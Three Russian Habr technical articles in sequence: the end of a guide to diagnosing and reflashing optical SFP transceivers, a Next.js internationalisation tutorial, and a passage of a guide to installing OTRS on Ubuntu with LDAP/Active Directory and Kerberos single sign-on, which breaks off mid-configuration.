уровне программного обеспечения это выглядит как зарезервированные 256 байт памяти в EEPROM, доступные по адресу 1010000X (0xA0). Сам же интерфейс находится по адресу 1010001X (0xA2). DDM позволяет в реальном времени получить доступ к следующим значениям: * температура модуля, * напряжение, * ток смещения передатчика, * выходная мощность, * принимаемая мощность. Разумеется, этим список значений не ограничивается, но даже этих данных в большинстве случаев достаточно, чтобы сделать вывод о работоспособности трансивера. Основная сложность здесь в интерпретации значений. Hot N Cold ---------- > *Чем ярче факел горит, тем быстрей выгорает. > > Витело (1220–1280) — средневековый ученый* Вот как вы думаете, температура под нагрузкой в 82°C — это много или в порядке вещей? Если, к примеру, мы такие показатели увидим у какого-нибудь Zyxel SFP10G-LR, то это вполне нормально, хотя и очень близко к верхней границе эксплуатационной температуры. В то же время 82°C у модуля Juniper Networks EX-SFP-10GE-SR, однозначно, будет свидетельствовать о перегреве, поскольку для него 70°C — [заявленный предел](https://apps.juniper.net/hct/model/?component=EX-SFP-10GE-SR). Важно не делать поспешных выводов и всегда сверяться с ТТХ конкретной модели трансивера. Деградация лазерных диодов и прогнозирование их срока службы — крайне обширная тема, ставшая ключевой для десятков (если не сотен) кандидатских и докторских диссертаций. В целом, все исследователи [отмечают](https://etu.ru/assets/files/nauka/dissertacii/2021/tarasov/dissertaciya_tarasov.pdf) то, что повышенная температура и ток накачки приводят к ускоренной деградации лазерных диодов. Выражается она в понижении генерируемой мощности излучения. Каких-либо единых критериев или стандартов на текущий момент не выработано, но если генерируемая мощность уменьшилась на 20-30%, то это вполне можно расценивать как отказ лазерного диода. Чтобы обеспечивать стабильную оптическую мощность, драйвер лазерного модуля варьирует подаваемый ток, тем самым компенсируя снижение мощности в результате деградации. Если в какой-либо момент подаваемый ток превысит пороговое значение, то это вызовет внезапную (катастрофическую) деградацию с повреждением базовой гетероструктуры лазерного диода и он полностью выйдет из строя. Так что эксплуатация оптических трансиверов с превышением их рабочей температуры недопустима. ![](https://habrastorage.org/r/w1560/webt/4z/os/u9/4zosu9qomvci89dxmg2fynojdbc.png) Особенно остро эта проблема может возникать в коммутаторах повышенной плотности, где на 1U-устройстве работает более 48 портов с оптическими трансиверами. Крайне важно уделить кабель-менеджменту особое внимание, чтобы обеспечить достаточное охлаждение этим чувствительным элементам инфраструктуры. Считать данные конкретного оптического трансивера для коммутаторов производства следующих вендоров: **Juniper** ``` show interfaces diagnostics optics ``` **Huawei** ``` display interface transceiver brief ``` **Brocade** ``` show media interface ``` **Arista** ``` show interfaces transceiver ``` К сожалению, это работает не всегда. На некоторых моделях трансиверов функция самодиагностики не поддерживается, а определенные модели коммутаторов в обязательном порядке требуют наличия лицензий для выполнения подобных команд. Теперь можно посмотреть на интересующем нас порту количество общих ошибок и ошибок проверки контрольной суммы CRC. Для Juniper эти команды выглядят следующим образом: ``` show interfaces extensive | match errors ``` ``` show interfaces extensive | match CRC ``` Рост количества CRC-ошибок в большинстве случаев вызвано аппаратными, а не программными причинами. Чаще всего причиной их появления служит неплотно вставленный оптический кабель или не до конца вставленный в слот трансивер. Еще одной возможной причиной может быть загрязненная линза оптического порта. > *В нашем блоге много статей по сетям. Возможно, вам понравятся следующие посты: > > > > * [История одного переключения](https://habr.com/ru/company/selectel/blog/498368/) > * [Объединение проектов в разных дата-центрах](https://habr.com/ru/company/selectel/blog/436648/) > * [Что нам стоит дом построить, да software обновить…](https://habr.com/ru/company/selectel/blog/551212/)* Косвенно можно продиагностировать наличие загрязнения по аномально низкому уровню мощности оптического сигнала. Очистку линзы проводят либо специальными очищающими палочками, либо специальной ручкой-очистителем. ![](https://habrastorage.org/r/w1560/webt/hp/l9/9g/hpl99gf_bh8-t8jf6y3kl0ekiyo.png) Такое устройство на кончике имеет держатель нити из нетканого материала. Когда вы вставляете его в порт, нить прокручивается и уносит с собой частицы грязи, осевшие на линзе лазерного диода. Иногда ошибки начинают «вылезать» исключительно под нагрузкой. Так что хороший способ проверить трансивер — взять пару пустых коммутаторов, заведо рабочий трансивер, соответствующий кабель и пару ноутбуков. Соединяем оптикой коммутаторы, включаем ноутбуки в медные разъемы и начинаем генерировать загрузку с помощью популярной утилиты [iperf3](https://iperf.fr/iperf-download.php). Первый ноутбук будет выполнять роль сервера, так что на нем выполняем команду: ``` iperf3 -s ``` Второй ноутбук будет клиентом, на нем запускаем: ``` iperf3 -c -t 600 -i 10 ``` 10 минут такой нагрузки вполне достаточно, чтобы определить работоспособность трансивера. Если при проведении теста ошибок и ретрансмитов нет, а температура остается в рамках штатной, то трансивер точно рабочий и может использоваться дальше в сетевом оборудовании или [выделенных серверах](https://slc.tl/45D2i). Тот или не тот свет ------------------- Трансиверы выходят из строя не только из-за перегрева. Частой причиной сбоя могут стать действия по восстановлению связи. К примеру, произошла авария, связанная с обрывом оптического кабеля. Монтажники со сварочным аппаратом для оптических волокон приехали на место и спустя некоторое время доложили, что поврежденные волокна сварены и должны работать. Казалось бы, что могло пойти не так в этой ситуации? Когда стали проверять соединение, оказалось, что из-за яркой вспышки, которой сопровождается сварка волокон, вышел из строя фотодетектор трансивера. Хороший пример того, что при проведении подобных работ стоит отключать оптический кабель от трансиверов. Точно такой же эффект может дать обычный рефлектометр. Его излучения с лихвой хватит, чтобы вывести из строя чувствительный фотодетектор. Достаточно любопытный факт: при диагностике проблем с оптическими кабелями и трансиверами на инженеров иногда начинают действовать некоторые когнитивные искажения. Мы все привыкли думать, что высокий уровень сигнала — это хорошо. Наш ложный вывод основан на привычных для нас закономерностях, к примеру, если уровень сигнала у мобильного телефона низкий, то связь будет плохая, а наоборот — хорошая. Вот только в реальности высокий уровень сигнала может быть не менее «вредным», чем низкий. ![](https://habrastorage.org/r/w1560/webt/-z/kw/d3/-zkwd3vkfyqibe1ztj23chtcmhy.png)*Аттенюаторы, снижающие интенсивность сигнала* Главной ошибкой в этом случае будет использование трансиверов разной или несоответствующей текущей трассе дальности. Если внутри дата-центра, где расстояние составит условные 100 метров, мы возьмем трансиверы, предназначенные для передачи сигнала на 40 км, то вероятнее всего столкнемся с выходом из строя фотодетекторов. Это объясняется их значительно более высокой чувствительностью по сравнению с трансиверами, рассчитанными на меньшие расстояния. Так что если все же возникла острая необходимость использования таких трансиверов на коротких расстояниях, то это допустимо только с использованием аттенюаторов, понижающих интенсивность светового сигнала. В инженерку замели, трансивер шьют ---------------------------------- Зачем вообще нужно перепрошивать трансиверы, неужели часто возникает такая потребность? Скажем так, иногда приходится это делать по разным причинам. Наиболее часто трансиверы перешиваются, если при попытке использования в другой модели коммутатора трансивер корректно не определяется. Каждый вендор сетевого оборудования в той или иной степени старается не допускать использования модулей компаний-конкурентов. Так что если трансивер в коммутаторе одного вендора работает нормально, а в коммутаторе другого вендора не определяется с ошибкой «unsupported transceiver», то скорее всего проблему можно решить перепрошивкой трансивера под «требования» конкретного вендора. ![](https://habrastorage.org/r/w1560/webt/1i/ak/xt/1iakxtc5ldifagzfgaucymneazo.png) Для перепрошивки трансиверов используются программаторы, широко выпускаемые в Поднебесной. Чаще всего эти программаторы выглядят как печатная плата с разъемами SFP/XFP/GBIC/QSFP и не имеют корпуса. Есть и более красиво выглядящие промышленные решения, но по значительно более высокой цене. Хотя с нынешним распространением хоббийных FDM-принтеров отсутствие корпуса решается простым созданием модели в каком-нибудь TinkerCAD и последующей печатью. Задача такого программатора проста и понятна. Очистить каждую из доступных для записи областей памяти EEPROM и поместить туда новые данные. Но не со всеми типами трансивера это проходит легко и непринужденно. В некоторых случаях для перепрошивки потребуется 4-х байтный пароль для снятия защиты, что предусмотрено стандартом. В целом эти пароли давно не «Le secret de Polichinelle» и регулярно выкладываются в сеть. Например, [на профильных форумах](http://www.forum.dwdm.ru/viewtopic.php?t=39283). Там же можно найти и прошивки. Есть ресурсы, которые содержат [базы готовых прошивок](https://sfpdb.freetime.su/) и генераторы-конструкторы, позволяющие собрать прошивку, исходя из детальных параметров и характеристик конкретного модуля. Кстати, поиск в сети — далеко не единственный способ получения желаемого бинарника. В некоторых случаях прошивку можно попросить напрямую у производителя. Универсального софта для перепрошивки не существует. Каждый производитель подобных программаторов создает свое собственное программное обеспечение, которое будет работать только с родным железом. Но прошивка сохраняется в EEPROM-памяти, и, зная границы блоков адресов (и, разумеется, метод защиты от записи / защиты от случайного стирания), можно спокойно перешить модуль любого вендора. Процедуру перепрошивки следует проделывать с осторожностью. Желательно использовать антистатический браслет и проверить, не ошиблись ли вы при выборе бинарника. Некоторые трансиверы стоят весьма приличных денег, а риск «окирпичить» это нежное устройство далеко не нулевой. Подводя итоги ------------- В общем и целом проблемы с трансиверами не редкость, хотя и встречаются не каждый день. Большинство из них носит чисто механический характер, так что если линк вдруг стал нестабильным, то стоит провести несколько простых действий: 1. Проверить само соединение, защелкнуты ли фиксаторы. 2. Вытащить трансивер, протереть медные контакты спиртом и поставить обратно. 3. Вытащить кабель из трансивера, почистить контактное окно ручкой для чистки, а волокно специальным нетканым материалом со спиртом. 4. Если по-прежнему возникают ошибки, то трансивер поменять на новый, а текущий детально продиагностировать, считав данные из DDM. Вероятно, стоит его перепрошить, особенно если трансивер не входит в список совместимых с конкректным сетевым устройством. 5. Если ничего не помогает, то списать, поскольку решить вопрос с необратимой деградацией лазерного диода в принципе невозможно. [![](https://habrastorage.org/r/w1560/webt/3a/ig/rg/3aigrgeifram1adhuhup_6tvz5s.png)](https://slc.tl/Z4NLz)
https://habr.com/ru/post/574418/
null
ru
null
# Добавляем интернационализацию в приложение на Next.js Интернационализированная маршрутизация и локализация на фреймворке Next.js. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/588/09d/e4d/58809de4d20b9ba36e248a87c94789dc.png)Интернационализация (сокращенно «i18n») — это процесс подготовки веб-сайта или веб-приложения для поддержки местных языков и настроек. Делается это в два этапа: первый — добавление интернационализированной маршрутизации, второй — локализация текста.  С 10-й версии в Next.js есть встроенная обработка интернационализированной маршрутизации. В этой статье мы рассмотрим, как добавить интернационализацию в приложение на Next.js — к концу статьи научитесь делать следующее: * Добавлять интернационализированную маршрутизацию в приложение на фреймворке Next.js. * Обрабатывать переключение языковых стандартов («локалей»). * Добавлять в приложение переведенный текст. В этом примере мы будем работать над базовым приложением, созданным с помощью команды `create-next-app`. Если вы новичок в Next.js, ознакомьтесь с основными принципами в статьей ниже: What I Learned From The Create a Next.js App Tutorial[blog.devgenius.io](https://blog.devgenius.io/what-i-learned-from-the-create-a-next-js-app-tutorial-1f506b56173d)Интернационализированная маршрутизация -------------------------------------- Первый этап интернационализации — добавление интернационализированной маршрутизации. В приложении Next.js для этого можно добавить конфигурацию `i18n` в файл `next.config.js`. Мы передадим объект и укажем два значения.  Первое значение — это массив локалей, которые будут поддерживаться в приложении. Они указываются в виде кодов языка в формате UTS (стандарт определения локалей). В этом примере я добавлю в массив две локали — `en` (английская) и `ja` (японская). Второе значение — это строка, указывающая, какую локаль использовать по умолчанию. У меня это будет английская локаль — `en`. ``` module.exports = { i18n: { locales: ['en', 'ja'], defaultLocale: 'en', }, }; ``` ### Работа с маршрутизацией локалей Реализовать интернационализированную маршрутизацию можно двумя способами: по пути и по домену.  #### Пример маршрутизации по пути * Английская локаль: `/blog` * Японская локаль: `/ja/blog` #### Пример маршрутизации по домену * Английская локаль: `example.com/blog` * Японская локаль: `example.ja/blog` Мы будем использовать маршрутизацию по пути.  Смена локалей ------------- ### Автоматическое определение локали Next.js умеет определять локаль автоматически в зависимости от настроек у пользователя. Например, если я запущу свой проект и открою его в браузере, я попаду на<http://localhost:3000/> — потому что у меня в браузере английский установлен в качестве языка по умолчанию. Если у вас Google Chrome, можете проверить этот параметр в разделе *Настройки -> Дополнительные -> Языки*. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e25/5f6/2c7/e255f62c74db06b284439c787c2bf4ec.png)Однако если поставить в браузере японский в качестве языка по умолчанию, я попаду на<http://localhost:3000/ja>. ### Переключение между локалями Обрабатывать переключение между локалями можно также вручную. Это делается с помощью `next/link`. Для обработки переключения между языками можно передать в `next/link` свойство `locale`.  К примеру, добавим две ссылки под заголовком: одну — на английскую локаль, вторую — на японскую. В каждой ссылке будут свойства `href="/"` и `locale` (последнее указывает нужный язык).  ``` English Japanese ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/8c0/9c5/863/8c09c58639c7753df60af2180c082bb5.png)Нажав на такую ссылку, мы перейдем по соответствующему URL-адресу.  Английская локаль:<http://localhost:3000/> Японская локаль:<http://localhost:3000/ja> Локализация ----------- Второй этап интернационализации — это перевод контента. Если я открываю страницу английской локали, я хочу видеть сайт на английском языке; если открываю японскую локаль, сайт должен быть на японском.  Самый простой способ локализовать текст — создать два отдельных объекта, в каждом из которых будет переведенный текст. Например, создадим два новых файла: `locales/en.js` и `locales/ja.js`.  #### locales/en.js ``` export const en = { title: 'Welcome to ', }; ``` #### locales/ja.js ``` export const ja= { title: 'ようこそへ', }; ``` В файле `index.js` можно импортировать объекты `en` и `ja`. Также надо будет использовать `next/router`. ``` import { useRouter } from 'next/router'; import { en } from '../locales/en'; import { ja } from '../locales/ja'; ``` Проверить, какая локаль используется сейчас, можно, вызвав обработчик `useRouter()`, который возвращает объект «router». После этого можно задать переменную, указывающую, какая локаль отображается. ``` const router = useRouter(); const t = router.locale === 'en' ? en : ja; ``` Здесь мы, по сути, проверяем `router.locale`. Если это значение равно `en`, мы делаем переменную `t` равной объекту `en`. Если значение `router.locale` не равно `en`, мы делаем переменную `t` равной объекту `ja`. Затем можно заменить текст заголовка на значение `{t.title}`. ``` {t.title} [Next.js!](https://nextjs.org) =========================================== ``` Теперь при изменении локали сайта текст заголовка также будет переключаться на соответствующий язык. ![](https://habrastorage.org/getpro/habr/upload_files/81b/6be/760/81b6be76022ace5624ca71de9ecefc8a.gif)Заключение ---------- Спасибо за внимание! Надеюсь, моя статья помогла вам настроить интернационализацию в приложении на Next.js. В 10-й версии Next.js поддержка интернационализированной маршрутизации уже встроена — подробнее об этом смотрите в [документации](https://nextjs.org/docs/advanced-features/i18n-routing). Если хотите продолжить изучение Next.js, ознакомьтесь со статьями ниже: How to Handle Routing in Your Next.js App[levelup.gitconnected.com](https://levelup.gitconnected.com/how-to-handle-routing-in-your-next-js-app-6ba71280b922)Optimize Images From an External Website With the Image Component From Next.js[levelup.gitconnected.com](https://levelup.gitconnected.com/optimize-images-from-an-external-website-with-the-image-component-from-next-js-aa104a1f78e0)### Дополнительные материалы https://nextjs.org/docs/advanced-features/i18n-routing --- ### О переводчике Перевод статьи выполнен в Alconost. Alconost занимается [локализацией игр](https://alconost.com/ru/localization/games?utm_source=habr&utm_medium=article&utm_campaign=next-js-i18n), [приложений и сайтов](https://alconost.com/ru/localization?utm_source=habr&utm_medium=article&utm_campaign=next-js-i18n) на 70 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов. Мы также делаем [рекламные и обучающие видеоролики](https://alconost.com/ru/video-production?utm_source=habr&utm_medium=article&utm_campaign=next-js-i18n) — для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.
https://habr.com/ru/post/578024/
null
ru
null
# OTRS 4.0.10. Ставим на Ubuntu + AD + Kerberos + SSO (Часть вторая) Продолжаю повествование о том, как собственно установить сего зверя на Ubuntu и настроить прозрачную доменную авторизацию, плюс о том, как прикрутить некоторые приятные плюшки, доступные в бесплатной версии OTRS. [Часть первая: подготовка системы](http://habrahabr.ru/post/264617/) [Часть вторая: установка и настройка OTRS](http://habrahabr.ru/post/265537/) [Часть третья: исправляем косяки прикручиваем плюшки](http://habrahabr.ru/post/265541/) #### 6. Установка и настройка OTRS Ну вот, система полностью подготовлена, даже более чем и мы с чистой совестью и легким сердцем приступаем к установке непосредственно OTRS. ##### 6.1. Суть предлагаемого метода и необходимые пакеты Ставить мы будем последнюю стабильную версию, на данный момент это 4.0.10, на самом деле это не существенно, потому как мы изначально пошли канонически правильным путем и не стали использовать всякие прокладки и костыли типа адамтеров NTLM, SSPI и прочего, а подняли полноценную Kerberos аутентификацию. А за неё в OTRS отвечает модуль *HTTPBasicAuth*, который не претерпел существенных изменений, поэтому описываемый способ будет работать на всех версиях системы начиная как минимум с 3.1.1. В чем собственно суть способа? А вся суть заключается в том, что OTRS вообщем то и не проводит никакой авторизации и аутентификации пользователя, а просто берёт имя залогиневшегося пользователя из переменной окружения *$\_ENV['Remote\_User']* ищет его в своей базе и если находит, то открывает для него интерфейс Кустомера в залогиненом виде. То есть вся нагрузка по верификации пользователя ложится на плечи Apache, который механизмом Kerberos аутентифицирует пользователя и если ему это удалось, то загоняет его логин в переменную окружения. Откуда его и подхватывает OTRS, считая, что если там что-то есть, то аутентификация уже прошла успешно. Итак, приступим. Отличная статья по этому поводу [вот тут](http://tokarchuk.ru/2014/08/otrs-install-auth-sso/). Очень подробно описан процесс установки. Всё, что касается доменной авторизации и сквозной аутентификации, собрано с миру по нитке и выработано методом проб и ошибок, так что ссылок никаких дать не могу. Вот перечень пакетов, которые потребуются нам на этом этапе: * libapache2-mod-perl2 * libtemplate-perl * libarchive-zip-perl * libjson-xs-perl * libmail-imapclient-perl * libdbd-mysql-perl * libnet-dns-perl * libnet-ldap-perl * libio-socket-ssl-perl * libpdf-api2-perl * libsoap-lite-perl * libgd-text-perl * libgd-graph-perl * libapache-dbi-perl * libyaml-libyaml-perl * mysql-server * wget Большинство из них уже стоят в системе или мы их уже поставили, но что-бы не перебирать каждый, просто дадим команду поставить все, те что уже есть просто будут пропущенны менеджером пакетов и всё. Так что исполняем ``` apt-get install libapache2-mod-perl2 libtemplate-perl libarchive-zip-perl libjson-xs-perl libmail-imapclient-perl libdbd-mysql-perl libnet-dns-perl libnet-ldap-perl libio-socket-ssl-perl libpdf-api2-perl libsoap-lite-perl libgd-text-perl libgd-graph-perl libapache-dbi-perl libyaml-libyaml-perl mysql-server wget ``` ##### 6.2. Ставим OTRS Как уже сказано выше ставить мы будет версию 4.0.10, последнюю на момент написания статьи. Качаем сам OTRS: ``` cd ~ wget http://ftp.otrs.org/pub/otrs/otrs-4.0.10.tar.gz ``` Распаковываем архив: ``` tar zxf ./otrs-4.0.10.tar.gz ``` Перемещаем распакованный OTRS папку /opt: ``` mv ./otrs-4.0.10 /opt ``` И создаем симлинк на него в этой же папке: ``` ln -s /opt/otrs-4.0.10/ /opt/otrs ``` Проверяем все ли модули мы поставили: ``` perl /opt/otrs/bin/otrs.CheckModules.pl ``` Если нужны какие то дополнительные модули ставим (в выводе предыдущей команды напротив каждого модуля есть подсказка как его установить, если его нет). Заводим пользователя для OTRS: ``` useradd -r -d /opt/otrs/ -c 'OTRS user' otrs ``` И включаем его в группу www-data: ``` usermod -g www-data otrs ``` Имейте ввиду: наша машина включена в домен и *winbind* биндит всех пользователей в локальную базу пользователей, поэтому надо проследить, что бы в домене не было пользователя с логином «*otrs*». Если он есть — удаляем его и перезагружаем линукс-машину. Создаем дефолтные конфиги для OTRS: ``` cd /opt/otrs/Kernel cp Config.pm.dist Config.pm cp Config/GenericAgent.pm.dist Config/GenericAgent.pm ``` И настраиваем права свеже созданному пользователю: ``` cd /opt/otrs bin/otrs.SetPermissions.pl --otrs-user=otrs --web-group=www-data /opt/otrs ``` Осталось создать vhost Апача для OTRS и можно конфигурировать систему: ``` cp /opt/otrs/scripts/apache2-httpd.include.conf /etc/apache2/sites-available/otrs.conf ``` Включаем vhost OTRS: ``` a2ensite otrs ``` И перечитываем конфиги Apache: ``` service apache2 reload ``` Всё. Установка закончена, теперь можем занятся конфигурацией OTRS. ##### 6.3. Начальное конфигурирование системы OTRS. Интеграция с LDAP (в нашем случае AD) Начальное конфигурирование системы происходит через веб-интерфейс. Заходим по адресу *[helpdesk/otrs/installer.pl](http://helpdesk/otrs/installer.pl)*, видим мастер установки OTRS: ![](https://habrastorage.org/r/w1560/files/9ce/d9a/f3d/9ced9af3d18e4950992b5e5ee0f036f6.png) Жмем далее и видим лицензионное соглашение, внимаааательно его читаем и жмем «принят условия». ![](https://habrastorage.org/r/w1560/files/137/661/76d/13766176d3494a3d8825cae7c08d9f10.png) На третьем этапе надо выбрать используемую базу данных, в нашем случае база MySQL, так что жмем далее. Тут уже поинтереснее, надо ввести логин того самого пользователя MySQL root@localhost, этот пароль мы создавали на шаге 6, когда ставили Apache и MySQL сервер. OTRS попробует подключиться к серверу баз данных (localhost) и если всё нормально — создаст для себя базу с именем otrs и пользователем otrs, а так же с очень хитрым паролем, его мы тоже запоминаем куда ни будь в блокнотик, на всякий случай. ![](https://habrastorage.org/r/w1560/files/8eb/f87/11b/8ebf8711b09a4d02b9dccdbcede1b2eb.png) Настраиваем почту. На выходе OTRS сообщит пароль дефолтного пользователя root@localhost, запоминаем его пароль. Переходим по ссылке «главная страница» и видим приглашения залогиниться, вот сюда-то и вводим только записанные логин и пароль. По большому счёту установка OTRS уже закончена, но нам ведь этого мало и не для того мы столько возились с Kerberos, нам нужна интеграция с AD и сквозная аутентификация, поэтому идем дальше. А дальше обращаемся к [мануалу](http://habrahabr.ru/post/125089/) уважаемого [rasa](https://habrahabr.ru/users/rasa/). Кое-что мы почерпнём оттуда, кое-что из интернета, и выдумаем свой путь. Итак для начала. В домене, должен быть один пользователь который полностью совпадает с администратором OTRS, он у нас будет и LDAP читать и остальных админов OTRS мы через него заведём. В моём случае это пользователь *otrs.admin*, кстати, на период установки я давал ему права администратора домена и все манипуляции на домене, как то включение машины в домен, получение тикетов и пр. проводил от имени именно этого пользователя, после установки эти права у него можно отобрать, более того, запретить ему логиниться на машины домена, ему надо только читать информацию из LDAP, не более того. И так, в интерфейсе Агента OTRS, переходим на вкладку «Администрирование», заходим в раздел «агенты» видим единственного агента, жмём на него и меняем его учетные данные в соответствии с данными пользователя в домене, как я уже сказал выше, в моём случае это логин otrs.admin и соответствующий ему доменный пароль, жмем «отправить» внизу страницы и пробуем выйти и зайти снова уже с новыми учетными данными. **! ВНИМАНИЕ! совпадать с данными доменного пользователя должен не только логин, но и пароль!** Теперь отключим возможность самостоятельной регистрации кустомеров. *«Администрирование»-«Конфигурация системы»-(в выпадающем списке слева выбираем «Framework»)-«Frontend::Customer»* на *CustomerPanelCreateAccount* указываем «Нет» и жмем внизу кнопку «Обновить». Тут же можно поправить название организации которое будет высвечиваться у кустомеров в CustomerHeadline. Здесь ещё куча других настроек, которые можно будет покрутить и попробовать, но это позже, сейчас нас интересует интеграция с LDAP. Настройка интеграции OTRS с LDAP будет происходить через конфигурационный файл */opt/otrs/Kernel/Config.pm*: ``` mcedit /opt/otrs/Kernel/Config.pm ``` Находим строчку *# insert your own config settings «here» #* и вставляем после неё вот такой конфиг: ``` # Настройки LDAP аутентификации для Агентов # # Включаем LDAP аутентификацию и авторизацию для Агентов # $Self->{'AuthModule'} = 'Kernel::System::Auth::LDAP'; # IP адрес LDAP каталога # $Self->{'AuthModule::LDAP::Host'} = '192.168.10.1'; # Тоже думаю понятно, указываем корень LDAP # $Self->{'AuthModule::LDAP::BaseDN'} = 'dc=domain,dc=ru'; # Указываем какое поле будем использовать в качестве UID # $Self->{'AuthModule::LDAP::UID'} = 'sAMAccountName'; # Указываем где искать. Мои агенты заведены в группу OTRSagents в OU organization # # Тут можно указать свой путь для Агентов, если они у вас в другом месте # $Self->{'AuthModule::LDAP::GroupDN'} = 'cn=OTRSagents,ou=organization,dc=domain,dc=ru'; $Self->{'AuthModule::LDAP::AccessAttr'} = 'member'; $Self->{'AuthModule::LDAP::UserAttr'} = 'DN'; # Учётка для подключения к LDAP # $Self->{'AuthModule::LDAP::SearchUserDN'} = 'otrs.admin@domain.ru'; $Self->{'AuthModule::LDAP::SearchUserPw'} = 'пароль пользователя otrs.admin'; # Указываем фильтр и параметры подключения к LDAP# $Self->{'AuthModule::LDAP::AlwaysFilter'} = ''; $Self->{'AuthModule::LDAP::Params'} = { port => 389, timeout => 120, async => 0, version => 3, sscope => 'sub' }; # Конец настроек LDAP аутентификации для Агентов # # Настройка модуля синхронизации Агентов с LDAP # # Синхронизируем базу агентов с LDAP # $Self->{'AuthSyncModule'} = 'Kernel::System::Auth::Sync::LDAP'; # IP Адресс LDAP каталога # $Self->{'AuthSyncModule::LDAP::Host'} = '192.168.10.1'; # Указываем BaseDN # $Self->{'AuthSyncModule::LDAP::BaseDN'} = 'dc=domain, dc=ru'; # Указываем какое поле берём в качестве UID # $Self->{'AuthSyncModule::LDAP::UID'} = 'sAMAccountName'; # Учетка для подключения к LDAP # $Self->{'AuthSyncModule::LDAP::SearchUserDN'} = 'otrs.admin@domain.ru'; $Self->{'AuthSyncModule::LDAP::SearchUserPw'} = 'пароль пользователя otrs.admin'; # Указываем соответствие полей # $Self->{'AuthSyncModule::LDAP::UserSyncMap'} = { UserFirstname => 'givenName', UserLastname => 'sn', UserEmail => 'mail', }; # И кого синхронизировать # $Self->{'AuthSyncModule::LDAP::UserSyncInitialGroups'} = [ 'users', 'basic_admin', ]; # Конец настроек модуля синхронизации Агентов # # Настройки авторизации Кустомеров # # Тут всё просто, нужно просто включить модуль HTTPBasicAuth # # Включаем HTTPBasicAuth для кустомеров # $Self->{'Customer::AuthModule'} = 'Kernel::System::CustomerAuth::HTTPBasicAuth'; # И указываем какие странички открывать в случае успешной авторизации # $Self->{CustomerPanelLoginURL1} = 'http://helpdesk.domain.ru/otrs/customer.pl'; $Self->{CustomerPanelLogoutURL1} = 'http://helpdesk.domain.ru/otrs/customer.pl'; # Конец настроек авторизации Кустомеров # # А теперь подтянем базу кустомеров из LDAP # # Кустомерами у нас будут все пользователи домена без исключения # $Self->{CustomerUser} = { Module => 'Kernel::System::CustomerUser::LDAP', Params => { Host => '192.168.10.1', BaseDN => 'DC=domain,DC=ru', SSCOPE => 'sub', UserDN =>'otrs.admin@domain.ru', UserPw => 'пароль пользователя otrs.admin', AlwaysFilter => '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))', SourceCharset => 'utf-8', DestCharset => 'utf-8', }, # Указываем соответствие поле # # Капец какое шаманство, нифига не понял, но работает # CustomerKey => 'sAMAccountName', CustomerID => 'mail', CustomerUserListFields => ['sAMAccountName', 'cn', 'mail'], CustomerUserSearchFields => ['sAMAccountName', 'cn', 'mail'], CustomerUserSearchPrefix => '', CustomerUserSearchSuffix => '*', CustomerUserSearchListLimit => 10000, CustomerUserPostMasterSearchFields => ['mail'], CustomerUserNameFields => ['givenname', 'sn'], Map => [ # А вот тут уже более менее понятно и даже можно самому поковырять и # # подобавлять поля по своему хотению # # Кстати, поля: Login, Email и CustomerID обязательны! # [ 'UserFirstname', 'Firstname', 'givenname', 1, 1, 'var' ], [ 'UserLastname', 'Lastname', 'sn', 1, 1, 'var' ], [ 'UserLogin', 'Login', 'sAMAccountName', 1, 1, 'var' ], [ 'UserEmail', 'Email', 'mail', 1, 1, 'var' ], [ 'UserCustomerID', 'CustomerID', 'mail', 0, 1, 'var' ], [ 'UserPhone', 'Phone', 'telephonenumber', 1, 0, 'var' ], ], }; # Конец конфига # ``` После этого можно сохранить файл и попробовать авторизоваться в качестве агента под доменной учёткой, которая входит в группу OTRSagents в домене. Переходим по адресу *[helpdesk.domain.ru/otrs/index.pl](http://helpdesk.domain.ru/otrs/index.pl)*, вводим логин и пароль доменной учётной записи состояще в группе OTRSagents. Должно всё прокатить. У вновь залогинившегося агента будет отсутствовать вкладка администрирования, включить её можно войдя под учёткой изначального админа, в моём случае это otrs.admin и раздав права доступа новому агенту. Обратите внимание: агенты создаются в базе OTRS после первого входа. Так же надо проверить, что OTRS подтянул из LDAP базу Кустомеров. Для этого переходим *«Администрирование» — «Учётная запись клиента»*. Тут мы должны увидить полный перечень пользователей домена в табличном виде, логин, имя, email и т.д. Проверяем, всё ли успешно подтянулось из домена. Для доступа же Кустомеров потребуется ещё небольшая доработка, прежде всего потребуется включить Kerberos аутентификацию на папках со скриптами. Скрипты лежат тут */opt/otrs/bin/cgi-bin.*. Для включения Kerberos потребуются манипуляции аналогичные тем, что мы проводили на шаге 7 с папкой */var/www/html/php*. Открываем файл конфига виртуального хоста otrs: ``` mcedit /etc/apache2/site-available/otrs.conf ``` И видим следующие конфигурации локейшена */otrs* и директории */opt/otrs/bin/cgi-bin*. Первый кусок: ``` # ErrorDocument 403 /otrs/customer.pl ErrorDocument 403 /otrs/index.pl SetHandler perl-script PerlResponseHandler ModPerl::Registry Options +ExecCGI PerlOptions +ParseHeaders PerlOptions +SetupEnv Order allow,deny Allow from all = 2.4> Require all granted Order allow,deny Allow from all ``` И второй кусок: ``` AllowOverride None Order allow,deny Allow from all = 2.4> Require all granted Order allow,deny Allow from all AddOutputFilterByType DEFLATE text/html text/javascript application/javascript text/css text/xml application/json text/json # Make sure CSS and JS files are read as UTF8 by the browsers. AddCharset UTF-8 .css AddCharset UTF-8 .js # Set explicit mime type for woff fonts since it is relatively new and apache may not know about it. AddType application/font-woff .woff ``` На первый взгляд всё очень ясно и просто, но опять же постигнуть это шаманство с наскоку не удалось. В двух словах тут подключаются определенные директивы в зависимости от наличия или отсутствия определенных модулей Apache или же от их версий. Всё это разработчики нагородили потому как им заранее не извество в каких условиях будет работать система, с какими пакетами и какими версиями этих пакетов. Но нам-то с вами уже абсолютно точно известно какие пакеты и каких версий стоят у нас в системе. Поэтому просто нещадно вырезаем всё лишнее и приводи эти два блока к следующему виду: Первый кусок: ``` ErrorDocument 403 /otrs/index.pl SetHandler perl-script PerlResponseHandler ModPerl::Registry Options +ExecCGI PerlOptions +ParseHeaders PerlOptions +SetupEnv AuthType Kerberos AuthName "Kerberos Authntication" KrbAuthRealms RUS.LOCAL Krb5Keytab /etc/httpd.keytab KrbMethodNegotiate On KrbSaveCredentials Off KrbVerifyKDC Off Require valid-user ``` Второй кусок: ``` 